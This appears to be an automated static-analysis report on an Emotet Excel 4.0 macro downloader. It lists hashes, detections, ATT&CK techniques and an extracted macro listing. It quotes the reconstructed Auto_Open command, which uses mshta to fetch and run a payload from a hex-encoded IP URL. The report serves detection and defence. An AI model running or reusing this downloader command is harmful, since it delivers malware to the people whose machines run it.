Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 722ded1cbcabef90…

MALICIOUS

Office (OLE) / .XLSX

127.6 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel
MD5: a589bf1d9426c04024515e95734d1c83 SHA-1: fa342ab7607a1e2125ba0feba920a86223fe7701 SHA-256: 722ded1cbcabef90968fdf9be67676481bac9dd847289d7f23e7625a66087723
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains Excel 4.0 macros, specifically an Auto_Open macro that executes a command to download a payload from a hardcoded URL. The reconstructed command is 'cmd /c mshta http://0xc12a24f5/cc.html'. This behavior is characteristic of Emotet downloaders, which are often delivered as malicious attachments.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 653 bytes

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